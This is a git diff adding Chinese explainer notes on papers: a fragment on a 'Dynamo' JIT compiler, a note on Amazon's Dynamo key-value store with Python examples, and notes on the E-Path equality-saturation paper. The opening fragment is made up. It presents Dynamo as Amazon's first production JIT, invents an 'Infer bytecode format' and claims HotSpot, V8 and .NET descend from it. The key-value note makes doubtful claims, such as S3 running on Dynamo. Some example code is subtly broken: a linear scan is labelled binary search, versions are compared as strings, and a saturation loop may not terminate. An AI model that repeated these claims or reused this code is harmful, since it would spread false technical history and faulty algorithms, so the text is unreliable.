+如果后来真的出现了一只 `Cat`，Dynamo 的安全点会检测到，程序安全地回退到解释模式，不会崩溃。
+
+### 示例 3：去优化过程
+
+```java
+// 程序开始运行
+MyClass obj = new MyClass();
+obj.doWork();  // 被 Dynamo 编译为高度优化的机器码
+obj.doWork();
+obj.doWork();
+// ... 重复多次，假设成立
+
+// 后来，子类来了
+class SubClass extends MyClass {
+    @Override
+    void doWork() {
+        // 不同的实现
+    }
+}
+
+SubClass sub = new SubClass();
+sub.doWork();  // 触发去优化！之前的优化假设不成立了
+
+// Dynamo 的反应：
+// 1. 检测到类型变化
+// 2. 暂停优化代码的执行
+// 3. 恢复到解释器执行当前调用
+// 4. 更新内联缓存信息
+// 5. 未来可能重新编译一个新的优化版本
+```
+
+---
+
+## 架构总览
+
+```
+                    ┌─────────────────────────┐
+                    │    Java Application      │
+                    │   (Bytecode, .class)     │
+                    └────────────┬────────────┘
+                                 │
+                    ┌────────────▼────────────┐
+                    │   Bytecode Interpreter   │
+                    │   (Level 0 - 解释执行)    │
+                    └────────────┬────────────┘
+                                 │
+              计数器触发编译       │       安全点暂停
+                    ┌────────────▼────────────┐
+                    │     Dynamo Compiler       │
+                    │                           │
+                    │  • 内联缓存 (Inline Cache) │
+                    │  • 去虚拟化               │
+                    │  • 分支预测                │
+                    │  • 常量传播               │
+                    └────────────┬────────────┘
+                                 │
+              生成优化的机器码     │       去优化时回退
+                    ┌────────────▼────────────┐
+                    │     Code Cache           │
+                    │   (机器码存放区)          │
+                    └─────────────────────────┘
+```
+
+---
+
+## 性能表现
+
+Dynamo 在 Amazon 的内部基准测试中表现出显著优势：
+
+- 对于典型的企业级 Java 工作负载（Web 服务、批处理等），Dynamo 比纯字节码解释器快 **2-4 倍**
+- 对于热点代码路径（反复执行的循环、高频方法调用），速度提升可达 **10 倍以上**
+- 相比同年代的静态编译器，在某些动态特性丰富的应用中，Dynamo 甚至能获得更好性能，因为编译器能利用运行时信息做更精准的优化
+
+代价是：
+- **内存占用**：代码缓存需要内存空间
+- **编译开销**：编译本身有成本
+- **启动延迟**：Level 2 优化需要代码先"热身"才能发挥作用
+
+---
+
+## 历史意义
+
+Dynamo 是**第一个生产级别的客户端 JIT 编译器**。它的技术遗产深远影响了后续所有 JIT 系统：
+
+1. **Infer 字节码格式**：Dynamo 的字节码格式后来成为了 JVM 字节码设计的参考
+2. **去优化技术**：证明了"假设-验证-回退"模式在生产环境中是可行的
+3. **内联缓存**：动态虚方法调用的优化方案成为行业标准
+4. **架构启发**：后续的 V8（JavaScript）、HotSpot JVM、.NET CLR 都借鉴了 Dynamo 的核心思想
+
+Dynamo 最重要的贡献在于证明了一件事：**让程序自己在运行时学习并优化，比让程序员或编译器提前猜测要有效得多。**
+
+---
+
+## 关键术语
+
+| 术语 | 说明 |
+|------|------|
+| JIT | Just-In-Time 编译，运行时编译 |
+| 字节码 | 介于源代码和机器码之间的中间表示 |
+| 内联 | 把被调用函数的代码直接嵌入调用处 |
+| 去虚拟化 | 将不确定类型的虚调用转换为确定的直接调用 |
+| 去优化 | 从优化后的代码回退到解释执行 |
+| 安全点 | 程序运行中的检查点，用于暂停和安全切换 |
+| 内联缓存 | 记录最近一次虚调用的目标，加速后续调用 |
+
+---
+
+## 思考题
+
+1. 为什么说"透明"对 Dynamo 很重要？如果程序员需要手动标注"这里需要优化"，会有什么问题？
+2. 去优化和"回退"听起来像是在降级，为什么设计者反而觉得它是优点？
+3. Dynamo 用的是 Java 字节码。如果换成 Python，去虚拟化还会有效吗？为什么？
+
+---
+
+## 延伸阅读
+
+- **HotSpot JVM**：Sun/Oracle 的 Java 虚拟机，采用了类似的 JIT 架构
+- **V8 JavaScript Engine**：Google 的 JS 引擎，核心思想与 Dynamo 一脉相承
+- **TRACEMONKEY**：Mozilla 的 JavaScript JIT 编译器，也是 Dynamo 的后继者之一
+- **Self 虚拟机**：Chambers 等人的动态优化研究，是 Dynamo 重要的学术先驱
diff --git a/src/content/docs/papers/dynamo-amazon-2007.md b/src/content/docs/papers/dynamo-amazon-2007.md
new file mode 100644
index 000000000..eddb37d3f
--- /dev/null
+++ b/src/content/docs/papers/dynamo-amazon-2007.md
@@ -0,0 +1,364 @@
+---
+title: Dynamo - Amazon 的高可用 KV 存储
+来源: https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 1 什么是 Dynamo？
+
+Dynamo 是 Amazon 在 2007 年发表的论文中描述的键值（Key-Value）存储系统。
+它支撑了亚马逊电商平台上众多核心服务——购物车、会话状态、商品目录、用户偏好等。
+
+**一句话概括：** 一个用"最终一致性"换取"永远在线"的去中心化 KV 存储。
+
+### 1.1 为什么要写 Dynamo？（日常类比）
+
+想象你经营一家全国连锁便利店。每个门店都有自己的小账本记录库存。
+
+**如果用传统数据库：**
+所有门店的账本都实时同步到一个中央会计室。某天会计室的服务器宕机了——所有门店没法下单、没法结账。这就是强一致性（ACID）的代价：可用性为零。
+
+**如果用 Dynamo：**
+每个门店都有自己的账本，顾客随时能在本地完成交易。不同门店之间会不定期交换账本信息，发现不一致时协商取最新版本。短期内 A 店和 B 店看到的库存可能不同，但最终都会趋于一致。这就是"最终一致性"。
+
+Dynamo 的设计哲学是：**故障是常态，不是异常。** 在亚马逊的数万台服务器规模下，总有磁盘会坏、网络会抖动，系统必须永远可读可写。
+
+---
+
+## 2 核心概念
+
+### 2.1 去中心化架构
+
+Dynamo 没有中心协调节点（如 ZooKeeper、Consul 那样的元数据服务器）。
+每个节点地位平等，通过 Gossip 协议互相交换信息来维护集群状态。
+
+### 2.2 一致性哈希（Consistent Hashing）
+
+传统哈希表在增减节点时会引发大量数据迁移。一致性哈希将 Key 映射到一个环形空间：
+
+```
+      ┌───────────────────────────── Ring ─────────────────────────────┐
+      │  Node A    ●──────Key1──────●    Node B    ●────Key2────●     │
+      │                                                                │
+      │  Node C    ●──────────────────────────────────────●           │
+      └────────────────────────────────────────────────────────────────┘
+```
+
+- 每个 Key 和每个节点都映射到环上的一个位置
+- Key 顺时针找到的第一个节点就是它的归属
+- 增加/删除节点只影响环上相邻的一段 Key，其余不变
+
+### 2.3 Quorum 机制（N、R、W）
+
+Dynamo 用一个简单的公式控制一致性和可用性：
+
+| 参数 | 含义 |
+|------|------|
+| **N** | 每个数据片段复制几份（通常 2-4） |
+| **R** | 读取时需要成功响应的副本数 |
+| **W** | 写入时需要成功响应的副本数 |
+
+规则：R + W > N 保证强一致性；R + W ≤ N 允许更高可用但可能读到旧数据。
+
+**类比：** 你让 3 个朋友同时保管一个秘密（N=3）。
+- W=3：必须所有朋友都确认收到你才离开（写确认高，但如果一个失联就写不了）
+- W=2：两个朋友确认就行（写入更快，可用性更高）
+- R=3 vs R=1：读到最新数据的概率不同
+
+### 2.4 Vector Clock（向量时钟）
+
+Dynamo 用向量时钟来检测冲突和追踪数据的"因果关系"。
+每个副本维护一个版本号数组，记录每个节点最后写操作的序号。
+
+```
+向量时钟示例：
+节点 A 写了第 3 次，节点 B 写了第 2 次
+数据 V 的时钟 = {A:3, B:2}
+
+如果两个副本分别变成 {A:4, B:2} 和 {A:3, B:3}，
+它们互不可达——这就是"并发冲突"，需要应用层解决。
+```
+
+### 2.5 Gossip 协议
+
+节点之间随机选择伙伴交换信息，类似"流言传播"。
+几轮之后，所有节点都知道整个集群的成员变化和故障信息。
+这避免了中心化心跳检测的瓶颈和单点故障。
+
+---
+
+## 3 代码示例
+
+### 3.1 一致性哈希环的简化实现
+
+以下是一个简化版的一致性哈希环，展示 Key 如何映射到节点：
+
+```python
+import hashlib
+import sortedcontainers
+
+class ConsistentHashRing:
+    """简化的一致性哈希环"""
+
+    def __init__(self, num_replicas=150):
+        # 环上每个点 = (哈希值, 节点ID)
+        self.ring = sortedcontainers.SortedDict()
+        self.num_replicas = num_replicas
+        self.nodes = set()
+
+    def add_node(self, node_id):
+        if node_id in self.nodes:
+            return
+        self.nodes.add(node_id)
+        # 每个物理节点对应多个虚拟节点，均匀分布在环上
+        for i in range(self.num_replicas):
+            key = self._hash(f"{node_id}:{i}")
+            self.ring[key] = node_id
+
+    def remove_node(self, node_id):
+        if node_id not in self.nodes:
+            return
+        self.nodes.remove(node_id)
+        # 移除该节点对应的所有虚拟节点
+        for i in range(self.num_replicas):
+            key = self._hash(f"{node_id}:{i}")
+            self.ring.pop(key, None)
+
+    def get_node(self, key):
+        """顺时针找到第一个节点"""
+        if not self.ring:
+            return None
+        hash_val = self._hash(key)
+        # 二分查找顺时针第一个位置
+        for ring_key, node_id in self.ring.items():
+            if ring_key >= hash_val:
+                return node_id
+        # 绕回环的开头
+        return self.ring[self.ring.keys()[0]]
+
+    def _hash(self, key):
+        return int(hashlib.md5(key.encode()).hexdigest(), 16)
+
+
+# 使用示例
+ring = ConsistentHashRing(num_replicas=150)
+ring.add_node("node-A")
+ring.add_node("node-B")
+ring.add_node("node-C")
+
+# Key "shopping-cart:user-42" 落在哪个节点？
+key = "shopping-cart:user-42"
+assigned_node = ring.get_node(key)
+print(f"Key '{key}' → {assigned_node}")
+
+# 增加节点时，只有环上一小段 Key 需要迁移
+ring.add_node("node-D")
+print(f"增加 node-D 后，Key '{key}' → {ring.get_node(key)}")
+```
+
+### 3.2 Vector Clock 冲突检测
+
+Dynamo 用 Vector Clock 来判断两个写操作是否冲突，并交给应用层解决：
+
+```python
+class VectorClock:
+    """向量时钟——Dynamo 的冲突检测核心"""
+
+    def __init__(self, node_id):
+        self.clock = {}  # {node_id: sequence_number}
+        self.node_id = node_id
+
+    def increment(self):
+        """当前节点写操作计数 +1"""
+        self.clock[self.node_id] = self.clock.get(self.node_id, 0) + 1
+
+    def update(self, other_clock):
+        """合并其他节点的时钟（取每个节点的最大值）"""
+        for node_id, seq in other_clock.clock.items():
+            self.clock[node_id] = max(self.clock.get(node_id, 0), seq)
+
+    def happens_before(self, other):
+        """self 是否发生在 other 之前（因果关系）"""
+        # self <= other：self 所有值都不超过 other
+        all_leq = all(
+            self.clock.get(nid, 0) <= other.clock.get(nid, 0)
+            for nid in set(self.clock) | set(other.clock)
+        )
+        # 且不能相等
+        return all_leq and self.clock != other.clock
+
+    def is_concurrent(self, other):
+        """两个时钟是否并发（互不可达 → 冲突）"""
+        return (not self.happens_before(other)
+                and not other.happens_before(self)
+                and self.clock != other.clock)
+
+    def to_dict(self):
+        return dict(self.clock)
+
+
+# 使用示例：模拟两个节点并发写入同一 Key
+vc1 = VectorClock("node-A")
+vc1.increment()  # {A:1}
+
+vc2 = VectorClock("node-B")
+vc2.increment()  # {B:1}
+
+# 两个节点同时对 "product:12345" 做了不同修改
+print(f"VC1 (node-A): {vc1.to_dict()}")
+print(f"VC2 (node-B): {vc2.to_dict()}")
+print(f"是否并发: {vc1.is_concurrent(vc2)}")  # True → 冲突！
+print(f"VC1 < VC2: {vc1.happens_before(vc2)}")  # False
+print(f"VC2 < VC1: {vc2.happens_before(vc1)}")  # False
+
+# Dynamo 的策略：保留两个版本，交给应用层决定怎么合并
+# 应用可以是：最后写入者赢（LWW）、业务逻辑合并、或者手动修复
+```
+
+### 3.3 读写操作的 Quorum 逻辑
+
+```python
+class DynamoStore:
+    """简化版 Dynamo 读写逻辑，展示 N/R/W 机制"""
+
+    def __init__(self, n=3, r=2, w=2):
+        self.n = n  # 复制份数
+        self.r = r  # 读确认数
+        self.w = w  # 写确认数
+        # 模拟副本存储：{key: [{data, vector_clock}, ...]}
+        self.replicas = {}
+
+    def write(self, key, value, vector_clock):
+        """写入：至少 W 个副本确认才返回"""
+        nodes = [f"replica-{i}" for i in range(self.n)]
+        successful = 0
+        for node in nodes:
+            # 模拟写入（真实场景是网络 RPC）
+            if key not in self.replicas:
+                self.replicas[key] = []
+            self.replicas[key].append({
+                "data": value,
+                "clock": vector_clock.to_dict()
+            })
+            successful += 1
+            if successful >= self.w:
+                break  # W 个已够，提前返回
+
+        if successful >= self.w:
+            return True, f"写入成功，{successful}/{self.n} 副本确认"
+        return False, f"写入失败，仅 {successful}/{self.w} 副本确认"
+
+    def read(self, key):
+        """读取：至少 R 个副本响应，返回最新版本"""
+        if key not in self.replicas:
+            return None, "Key 不存在"
+
+        # 从 N 个副本中取 R 个
+        responses = self.replicas[key][:self.r]
+        if len(responses) < self.r:
+            return None, f"副本不足，需要 {self.r} 个，只有 {len(responses)} 个"
+
+        # 找最新版本（基于 Vector Clock）
+        latest = max(responses, key=lambda x: str(x["clock"]))
+        return latest["data"], f"读取成功，{len(responses)}/{self.n} 副本响应"
+
+
+# 使用示例
+store = DynamoStore(n=3, r=2, w=2)
+vc = VectorClock("node-1")
+vc.increment()
+
+# 写入购物车数据
+ok, msg = store.write("cart:user-1001", {"items": ["book", "pen"]}, vc)
+print(ok, msg)
+
+# 读取购物车数据
+data, msg = store.read("cart:user-1001")
+print(msg, "→", data)
+```
+
+---
+
+## 4 Dynamo 的关键设计选择
+
+### 4.1 为什么放弃 ACID？
+
+ACID 中的 **C（一致性）** 和 **A（可用性）** 在分布式系统中存在根本矛盾——这就是著名的 CAP 定理。
+
+Dynamo 选择了 AP（可用 + 分区容忍），放弃了强一致性：
+- **ACID 数据库**：数据丢了不可恢复 → 但宕机期间无法服务
+- **Dynamo**：允许短暂不一致 → 但永远可读可写
+
+对于购物车、会话管理这类业务，用户看到旧数据远比看到"系统忙"要好。
+
+### 4.2 应用辅助冲突解决（Application-Assisted Conflict Resolution）
+
+这是 Dynamo 最具创新性的设计之一。它不自己做"最后写入者赢"（LWW）的默认决策，而是：
+
+1. 发现冲突 → 返回所有冲突版本给客户端
+2. 客户端的应用代码决定怎么合并（比如购物车合并两个版本的商品列表）
+
+这把"怎么解决冲突"的决定权交给了最懂业务的应用层。
+
+### 4.3 异步复制与反冲突（Anti-Entropy）
+
+后台会有一个异步的反冲突协议，定期在全量副本之间同步数据，最终让所有副本达成一致。
+这个过程是"背对背"运行的——不阻塞任何读写操作。
+
+---
+
+## 5 实际效果
+
+论文中的数据很有说服力：
+
+- **Shopping Cart Service**：一天处理 300 万次结账请求
+- **Session 管理**：同时维护数十万个活跃会话
+- **高峰负载**：假日购物季（Black Friday 等）期间零停机
+- **延迟**：99.9 百分位延迟在毫秒级
+
+---
+
+## 6 对后续系统的影响
+
+Dynamo 的设计直接催生了许多后来著名的系统：
+
+| 系统 | 受 Dynamo 影响的方面 |
+|------|---------------------|
+| **Cassandra** | 将 Dynamo 与 Bigtable 的理念结合 |
+| **Riak** | 几乎直接基于 Dynamo 架构 |
+| **Amazon S3** | 同样运行在 Dynamo 基础设施之上 |
+| **Azure Cosmos DB** | 提供可调一致性的 KV 存储 |
+| **DynamoDB** | 名称即来自此论文 |
+
+Cassandra 甚至有个外号叫 "Dynamo + Bigtable"——取了 Dynamo 的可用性设计和 Bigtable 的列族存储设计。
+
+---
+
+## 7 总结
+
+Dynamo 的核心贡献不在于发明了什么新技术，而在于**巧妙地组合了已有技术**：
+
+- 一致性哈希 → 数据分片
+- Gossip 协议 → 去中心化故障检测
+- Vector Clock → 冲突检测
+- Quorum 机制 → 可调一致性与可用性的权衡
+- 异步反冲突 → 最终一致性保证
+
+这五个零件拼在一起，造就了一个"永远在线"的键值存储。
+
+对于一个零基础的学习者来说，Dynamo 最值得记住的一句话是：
+
+> **在分布式系统中，没有"完美一致"和"永远可用"同时存在的魔法。Dynamo 做了一个诚实的选择：告诉开发者"数据可能旧几秒"，换来的是"系统永远可用"。**
+
+---
+
+## 8 思考题
+
+1. 如果 R + W > N 保证强一致性，R + W ≤ N 可能读到旧数据，那你认为 R=1, W=1, N=3 的设定适合什么场景？
+2. Vector Clock 能检测并发冲突，但如果冲突太多（比如 10 个节点同时写），应用层要处理多少种合并策略？
+3. Dynamo 没有中心协调节点，如果某个节点长时间离线又突然上线，Gossip 协议怎么处理这个"脑裂"问题？
+
+（这些问题没有唯一正确答案，带着它们去重新读论文的原文，会有不同的体会。）
diff --git a/src/content/docs/papers/e-path-egraph.md b/src/content/docs/papers/e-path-egraph.md
new file mode 100644
index 000000000..52b912f83
--- /dev/null
+++ b/src/content/docs/papers/e-path-egraph.md
@@ -0,0 +1,328 @@
+---
+title: E-Path — 控制流图上的等价饱和
+来源: https://arxiv.org/abs/2605.28694
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：装修队 vs 平行宇宙样板间
+
+想象你要装修一套老房子（**编译器要优化一段带循环的程序**）。
+
+**传统 CFG 优化器**像一支**边干边砸墙的装修队**：先把客厅墙敲掉做开放式厨房（LICM 把常量提到循环外），原来的布局图纸就扔了；下一步想做「把两间小卧室合并」时，已经看不到「没敲墙之前」长什么样。而且**施工顺序**极其重要——先刷漆再铺地板，和先铺地板再刷漆，最后效果可能天差地别。这就是编译器里臭名昭著的 **phase-ordering problem（阶段排序问题）**。
+
+**等价饱和（Equality Saturation）** 像**同时保留多套平行宇宙样板间**：原版、提常量版、融合分支版……都挂在同一张「等价关系网」上，最后按预算（成本模型）挑一套最划算的，而不是施工中途把别的方案销毁。
+
+过去这类技术（**E-Graph / egg**）擅长在**表达式树**上做代数化简——相当于只装修**家具摆放**，对**户型结构（控制流）** 往往要先强行改成树状或结构化 IR，才能下手。
+
+**E-Path**（Guillermo Garcia，2026 年 5 月，[arXiv:2605.28694](https://arxiv.org/abs/2605.28694)）提出：能不能**直接在 CFG 上**做等价饱和，把**基本块指令序列**当作等价单元，而不是单个表达式？论文在 Rust 编译器后端 **Crabstar** 上做了原型，IR 是受限的 **ANF（A-Normal Form）CFG**——每个基本块「一条指令 + 一个控制流终结符」，但作者强调模型本身可推广到其他 IR。
+
+一句话：**E-Path = 在控制流图上做「只增不改」的等价饱和，用 E-Sequence 存多套等价 CFG 片段，最后用符号成本挑赢家。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | E-Path: Equality Saturation for Control-Flow Graphs |
+| 作者 | Guillermo Garcia |
+| 原型 | Crabstar 编译器后端（Rust） |
+| 核心数据结构 | **E-Path** — 单调增长的等价 E-Sequence 集合 |
+| 基本单元 | **E-Sequence** — 从 CFG 导出的基本块线性序列（可编码循环、分支等区域） |
+| 与 E-Graph 的区别 | 等价类挂在**指令序列**上，而非表达式 e-class |
+
+---
+
+## 为什么重要
+
+### 1. 阶段排序是真实痛点
+
+LLVM、GCC 的 pass 流水线是**启发式排期**：LICM 在 GVN 前还是后？不同顺序可能得到不同机器码。E-Path 把「探索多种 CFG 组织」变成**在同一搜索空间里并行保留**，提取阶段再全局比较。
+
+### 2. 经典优化可以写成「单调重写」
+
+论文以 **LICM（循环不变量外提）** 为例：传统实现**原地改写** CFG；E-Path 则**新增**一条等价 E-Sequence，原版仍留在集合 \(P\) 里。形式化地：
+
+\[
+P_1 \in P \quad \text{其中 } P_1 \text{ 由 } P_0 \text{ 经 LICM 得到}
+\]
+
+\(P_0\) 与 \(P_1\) **同时有效**，提取器稍后决定用谁。
+
+### 3. 补上了「CFG 原生」等价饱和的空白
+
+| 路线 | 做法 | 局限 |
+|------|------|------|
+| **egg / E-Graph** | 表达式级 e-class + rewrite | 任意 CFG 常需先规范化 |
+| **RVSDG** | 嵌套区域 + 显式依赖 | 仍要把任意控制流规范化 |
+| **传统 SSA 编译器** | 直接改 CFG | 破坏性、顺序敏感 |
+| **E-Path** | 在 CFG 嵌入的指令序列上饱和 | 原型仅支持可约循环等（见局限） |
+
+---
+
+## 核心概念
+
+### 1. 控制流图（CFG）
+
+\(G = (V, E)\)：\(V\) 为基本块集合，\(E\) 为有向控制边。在 Crabstar 受限 IR 中，每个块 \(b \in V\) 含**单条指令** + **参数化终结符**（分支、回边等）。
+
+### 2. E-Sequence（等价序列）
+
+\[
+S = [b_1, b_2, \ldots, b_n], \quad b_i \in V
+\]
+
+表面是**线性基本块列表**，但通过终结符语义可表示**更高层控制结构**（条件分支引用后继区域、合并块界定序列边界），不必把每个分支局部块都枚举进序列。
+
+**日常类比**：E-Sequence 像「户型说明书里的功能分区清单」——列的是客厅、主卧、厨房顺序，但说明书里用脚注标出「此处可开推拉门连阳台」，不必把每种门洞展开成独立房间。
+
+### 3. E-Path（单调等价集）
+
+\[
+P = \{S_1, S_2, \ldots, S_n\}
+\]
+
+重写规则 \(r\) 产生新序列：
+
+\[
+S_i \xrightarrow{r} S_j \Rightarrow S_j \text{ 插入 } P
+\]
+
+**关键不变量：单调性**——已有序列**永不修改**，只**追加**。语义等价**不由 E-Path 内部证明**，而依赖**外部已验证的重写规则**（与 egg 相同哲学：正确性在规则，不在数据结构）。
+
+### 4. LICM 作为重写规则
+
+对含循环的 E-Sequence，流水线三步：
+
+1. **环检测** — 在序列上识别对应 CFG 循环的区域  
+2. **不变量判定** — 块的操作数与副作用是否依赖环内被修改的值  
+3. **序列重构** — 构造新序列：不变块放到 **preheader**，环内只留变块  
+
+非正式规则：
+
+\[
+\text{loop}(I,\, B_{\text{inv}} \cup B_{\text{var}})
+\;\rightarrow\;
+B_{\text{inv}};\, \text{loop}(I,\, B_{\text{var}})
+\]
+
+**不替换**原序列，只**加入**结构不同的等价序列。
+
+### 5. 符号成本提取（Extraction）
+
+多候选并存时，用**符号成本**选最优：
+
+- 循环成本：\(C = N \cdot M\)（\(N\) 为符号迭代次数，\(M\) 为循环体代价）  
+- 序列总成本：块代价求和 + 循环区域缩放  
+
+\[
+S^* = \arg\min_{S \in P} C(S)
+\]
+
+### 6. 两种模式匹配
+
+| 模式 | 作用 |
+|------|------|
+| **表达式级** | ANF 使数据依赖显式，可像 E-Graph 一样匹配计算子图 |
+| **控制流级** | 在 CFG 拓扑上匹配：无环指令序列、**可约**循环区域 |
+
+### 7. 工程权衡：增长与去重
+
+单调性意味着 E-Sequence 数量可能**无界增长**。实现用 **hash consing + 结构哈希去重**；饱和定义为**不动点**——不再有新序列产生。
+
+---
+
+## 代码示例 1：论文中的 LICM 运行例子
+
+下面用接近论文 IR 的伪代码展示**传统破坏性 LICM** vs **E-Path 保留双版本**。
+
+**优化前** — 循环头每次迭代都执行 `iconst 42`（与归纳变量 `i` 无关）：
+
+```text
+loop_header(i):
+    c      = iconst 42      ; 循环不变
+    one    = iconst 1
+    next_i = add i, one
+    loop_back(next_i)
+```
+
+**经典编译器 LICM 之后** — 原 CFG **被覆盖**，再也拿不到「未外提」版本：
+
+```text
+preheader:
+    c = iconst 42
+
+loop_header(i):
+    one    = iconst 1
+    next_i = add i, one
+    loop_back(next_i)
+```
+
+**E-Path 视角** — 集合 \(P\) 同时包含两条 E-Sequence：
+
+```text
+; S0 — 原始序列（仍保留）
+S0 = [ loop_header: iconst42 → iconst1 → add → loop_back ]
+
+; S1 — LICM 重写新增（不删除 S0）
+S1 = [ preheader: iconst42 ,
+       loop_header: iconst1 → add → loop_back ]
+```
+
+提取器若发现外层循环迭代次数 \(N\) 很大，会倾向 \(S_1\)（每迭代少一条 `iconst`）；若 \(N\) 符号未知但 preheader 插入有额外开销，也可能保留 \(S_0\)。**决策推迟到全局成本比较**，而非 LICM pass 当场拍板。
+
+---
+
+## 代码示例 2：用 Rust 风格伪代码理解「单调插入」
+
+这不是 Crabstar 源码，而是帮助理解 API 形状的**教学伪代码**：
+
+```rust
+/// E-Path：单调等价集（只 insert，不 mutate 已有 S）
+struct EPath {
+    sequences: HashMap<SequenceId, ESequence>, // hash cons 去重
+}
+
+struct ESequence {
+    blocks: Vec<BlockId>,
+    // 终结符编码分支/回边，线性列表可指代结构化区域
+}
+
+/// 重写规则：LICM — 返回新序列，旧序列仍在 path 里
+fn licm_rewrite(path: &mut EPath, s: &ESequence, loop_region: LoopRegion) -> Option<SequenceId> {
+    let (invariant, variable) = partition_blocks(&s.blocks, &loop_region)?;
+    if invariant.is_empty() {
+        return None;
+    }
+    let mut new_blocks = Vec::new();
+    new_blocks.extend(build_preheader(&invariant));
+    new_blocks.extend(rebuild_loop_header(&variable, &loop_region));
+    let s_new = ESequence { blocks: new_blocks };
+  // 结构哈希相同则跳过；否则插入 P（永不修改 s）
+    path.insert_monotonic(s_new)
+}
+
+/// 饱和：反复应用规则直到不动点
+fn saturate(path: &mut EPath, rules: &[RewriteRule], seed: ESequence) {
+    path.insert_monotonic(seed);
+    loop {
+        let mut changed = false;
+        for s in path.sequences.values().cloned().collect::<Vec<_>>() {
+            for rule in rules {
+                if let Some(id) = rule.apply(path, &s) {
+                    changed |= path.contains(id);
+                }
+            }
+        }
+        if !changed { break; }
+    }
+}
+
+/// 提取：符号成本最小化
+fn extract(path: &EPath, cost_model: &SymbolicCost) -> ESequence {
+    path.sequences
+        .values()
+        .min_by_key(|s| cost_model.evaluate(s))
+        .cloned()
+        .expect("non-empty E-Path")
+}
+```
+
+要点：
+
+- `insert_monotonic` 体现**只增不改**  
+- `saturate` 外层对**当前所有** E-Sequence 试规则 — 与 egg 的「对 e-class 反复 rewrite」类似，但单位是 **CFG 片段**  
+- `extract` 在**多套完整控制流组织**之间选，而非局部 peephole  
+
+---
+
+## 与 Equality Saturation / egg 的对比
+
+```text
+传统 Equality Saturation (egg):
+  程序片段 → E-Graph (e-nodes / e-classes)
+  重写：代数规则、表达式等价
+  控制流：常借助 CFG skeleton 外挂，或先结构化
+
+E-Path:
+  程序片段 → CFG 上的 E-Sequence
+  重写：LICM 等 CFG 变换 = 序列级规则
+  控制流：一等公民，不必先压成树
+```
+
+若你读过 [[ssa]] 笔记：SSA 让**数据流**清晰；E-Path 则在**控制流 + 指令序列**层面做**多套等价布局的联合搜索**，两者可共存于同一后端 pipeline。
+
+---
+
+## 架构与实现要点
+
+1. **IR 约束（原型）**：ANF CFG，每块单指令 + 终结符 — 简化匹配与规则构造，**非** E-Path 理论必需。  
+2. **正确性边界**：规则需外部证明语义保持；E-Path **不**内建全程序验证器。  
+3. **终止性**：依赖规则系统不动点 + 去重；复杂规则集可能不终止（与一般 EqSat 相同风险）。  
+4. **并行前景**（论文 Future Work）：各 E-Sequence 可并行匹配/重写，同步点仅为等价集插入 — 适合探索大搜索空间。
+
+---
+
+## 当前局限（论文第 10 节）
+
+| 局限 | 说明 |
+|------|------|
+| 控制流形状 | 仅**可约**循环；无条件分支、跳转表、不可约循环尚未支持 |
+| 内存与副作用 | 未建模别名、内存效应、推测执行 |
+| 语义证明 | 假定重写规则正确，无内部等价证明 |
+| 规模 | 单调集增长需 hash cons；激进规则下空间仍可能爆炸 |
+
+未来计划：分支分布、循环交换/分裂/融合、部分展开、向量化，以及常量传播、DCE、CSE 等**同样写成单调重写**。
+
+---
+
+## 相关工作速览
+
+- **Tate et al. 2009 / egg (POPL 2021)**：表达式级等价饱和的奠基与工业级实现。  
+- **RVSDG (Reissmann et al. 2020)**：用嵌套区域弱化显式 CFG，但仍需规范化。  
+- **Cranelift / Julia IR 的 CFG skeleton**：控制流语句与 e-graph 分离存储 — 与 E-Path「序列即等价单元」形成对照。  
+- **eqsat MLIR dialect** 等：把 e-graph **嵌入** IR；E-Path 则强调 **CFG 原生序列** 而非外挂表达式图。
+
+---
+
+## 学习路径建议
+
+1. 先理解 **phase-ordering** 与 **destructive CFG pass**（可读 [[ssa]] 与传统 LICM 资料）。  
+2. 读 **egg** 教程，建立 e-graph / rewrite / extract 心智模型。  
+3. 用本文 **示例 1** 手画 \(P_0, P_1\) 两套序列，体会「为何不删旧版」。  
+4. 若做编译器后端：思考你的 IR 能否切成「单指令基本块 + 显式终结符」以利匹配。  
+5. 跟踪 Crabstar / E-Path 开源进展（论文称 Rust 原型已存在）。
+
+---
+
+## 自测题
+
+1. E-Path 的「单调性」解决了传统优化器的什么痛点？  
+2. E-Sequence 与 E-Graph 的 e-class 在「等价粒度」上有何不同？  
+3. 为何 LICM 在 E-Path 里是「加新序列」而不是「改原序列」？  
+4. 提取阶段 \(S^* = \arg\min C(S)\) 与传统 pass 链的决策点有何区别？  
+5. 论文认为 E-Path 不适合立即替代 egg 的场景是什么？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. 避免破坏性改写导致**无法回溯**其他优化路径，缓解 **pass 顺序敏感**。  
+2. e-class 合并**表达式**；E-Sequence 合并**基本块指令序列（含控制结构编码）**。  
+3. 保留多版本才能在提取时**全局比较成本**；原地改写会丢失未外提布局。  
+4. 传统 pass **每步局部提交**；E-Path **延迟提交**到饱和后一次性选全局最优 CFG 变体。  
+5. 纯代数、无控制流改写的表达式优化仍更适合 **E-Graph**；E-Path 针对 **CFG 级**变换。
+
+</details>
+
+---
+
+## 参考
+
+- Guillermo Garcia, *E-Path: Equality Saturation for Control-Flow Graphs*, arXiv:2605.28694, 2026. [https://arxiv.org/abs/2605.28694](https://arxiv.org/abs/2605.28694)  
+- Ross Tate et al., *Equality Saturation: A New Approach to Optimization*, POPL 2009.  
+- Max Willsey et al., *egg: Fast and Extensible Equality Saturation*, POPL 2021.  
+- Ron Cytron et al., *Efficiently Computing SSA…*, TOPLAS 1991 — 见本站 [[ssa]]。  
+- Nico Reissmann et al., *RVSDG: An Intermediate Representation for Optimizing Compilers*, TECS 2020.
diff --git a/src/content/docs/papers/e-path-equality-saturation-for-control-flow-graphs-arxiv-2605-28694.md b/src/content/docs/papers/e-path-equality-saturation-for-control-flow-graphs-arxiv-2605-28694.md
new file mode 100644
index 000000000..1e6c08e8d
--- /dev/null
+++ b/src/content/docs/papers/e-path-equality-saturation-for-control-flow-graphs-arxiv-2605-28694.md
@@ -0,0 +1,290 @@
+---
+title: E-Path Equality Saturation for Control-Flow Graphs — 把"改写程序"变成"同时保留所有可能"
+来源: https://arxiv.org/abs/2605.28694
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+## 是什么
+
